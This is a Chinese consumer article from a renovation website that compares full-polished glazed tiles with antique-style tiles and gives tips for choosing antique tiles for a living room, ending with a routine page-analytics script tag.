全抛釉与仿古砖哪个好?它们的优缺点是什么?

小兔听有的业主问：全抛釉与仿古砖哪个好?它们的优缺点是什么?了解了这一情况后，保定装修网的小兔就紧赶慢赶的编辑了接下来的文章，希望能给业主带来帮助。全抛釉与仿古砖的优缺点比较1.装饰风格：全抛釉是一种光泽度较好、釉面质感较为精美精致的瓷砖，在装修风格上也更加倾向于展现空间的高贵、细腻，比较迎合现代风格的装饰诉求。譬如一些装饰华丽的酒店大堂、会馆、酒吧、博物馆和展览馆等。仿古砖则不同，它的表面没有过高的光泽度和通透感，而是善于展现出一种经历了历史沉淀的厚重感和纯朴气息，比较擅长在一些个性化的家居空间、主题酒店、咖啡馆、茶庄、休闲场所或仿古建筑格局中应用。2.光泽度：全抛釉最大的优势就在于表面平滑度高、光泽度高，能够充分的展现空间的光影效果，在灯光和户外光线的映射下更容易展现出豪华、高档的气质，属于现代家居装饰中最受推崇的家居建材产品。仿古砖的光泽度则不是很高，它的表面带有起伏主要以哑光、柔光为主，因此对光泽的映射效果不算出色。也正因如此，仿古砖的防滑性能一般也比全抛釉要好一些，因此在各种卫浴空间、厨房之中应用的更为普遍。3.花色质感：光泽度高使得全抛釉有一种常规瓷砖无法媲美的鲜艳感，花色纹理更逼真、更清晰，给人的视觉感受更加倾向于科技质感，富有浓郁的现代气息。而仿古砖则是更善于表现瓷砖本身的厚重感，仿佛一块掩埋在泥土中的砖石，虽然无法给人完美无瑕的奢华感，但却能很好的诠释一种凝重、悠远、回归自然的感觉，很受一些讲究室内空间艺术底蕴与文化气息的客户欢迎。行业趋势决定瓷砖前景，仿古砖更胜一筹理论上来说，截然不同的两款瓷砖是难以辨别其好坏和高下的。不过站在行业发展的角度上说，市场发展趋势就决定了产品的应用空间和发展前景。为了探求仿古砖和全抛釉哪个的发展前景更为广阔，小编还特意采访了几位业界资深设计师，他们给出的答案比较一致，那就是仿古砖可能会更占优一些。这几位设计师们普遍认为仿古砖能够进一步引领行业发展潮流。现在人们对家居空间或其他空间的内涵和气质要求越来越高，无论是酒吧、酒店、宾馆、会所还是普通家居环境，都愿意讲求内涵品质、艺术气质、生活体验的提升。相对于全抛釉华丽的外观来说，仿古砖更能够塑造那种浓郁的内涵气质，更容易让人获得心理上的舒适体验。况且仿古砖的防滑效果也确实出色，在人们的日常应用中可以起到防滑防摔的效果，对老年人、儿童等群体都有很好的保护作用。总体来看，仿古砖比全抛釉更迎合消费者的装修诉求，未来发展前景也要比全抛釉更乐观一些。毫无疑问，做仿古砖的企业或将迎来一个更加巨大的发展机遇，进一步引领家居建陶行业的发展趋势。听完保定装修网的小编的讲述你有知道了什么吗?更多资讯请继续关注我们哦。

客厅仿古砖的特点及选购攻略

客厅仿古砖的柔和色调及哑光质感让居住者有更好的视觉体验，同时营造出一种深沉怀旧的情调，渲染一种低调大气的感觉。正因客厅仿古砖的诸多好处近年来广受大众青睐。那么对于仿古砖的特点及选购知识，下面三点您应当有所了解。一、仿古砖的特点，二、仿古砖的材质及尺寸，三、仿古砖的挑选。一、仿古砖的特点市面上的客厅仿古砖品类繁多，花色齐全。常见的有木纹、仿皮纹、布纹、岩石等各色系列。从实用的角度看，仿古砖除了具有防滑、减少光污染以外。耐磨，抗污染，不吸水，耐腐蚀等特点更是客厅仿古砖非常适合家居使用的优势。二、仿古砖的材质及尺寸客厅仿古砖的本质其实就是瓷质釉面砖，就本身的瓷质质地而言和抛光砖差别不大。但仿古砖表面有非常厚的釉质，这与抛光砖完全不同。釉质本身的抗污性使得仿古砖具有不吸水，易清洁的特点。就尺寸而言，仿古砖的尺寸也十分宽泛，客厅仿古砖一般采用600x600mm或800x800mm的正方形砖体较为合适。另外300x600mm或者400x800的长方形仿古砖以特殊角度的铺贴形式使用在客厅中，效果也十分别致。三、仿古砖的挑选挑选客厅仿古砖的方法很多，通过敲击砖面的声音判断仿古砖的质量是最简单易行的挑选方式。好的仿古砖在用手指敲击后通常发出清脆的声响，这样的砖体，即使用硬物剐蹭也不会留下痕迹。另外，还需要注意仿古砖表面的纹理应选择纹理清晰，颜色分明，色差小的仿古砖，这样的仿古砖在大面积铺贴时，效果会更加和谐。客厅仿古砖是众多客厅地砖的一种，但它是否适合于您的家庭，还需要您在家装过程中根据您家的家装风格、采光、预算等仔细权衡，通过这篇文章的介绍，希望您对仿古砖有更加深入的了解，从而在确定客厅地砖时做出更加明智的选择。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://m.kcdates.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();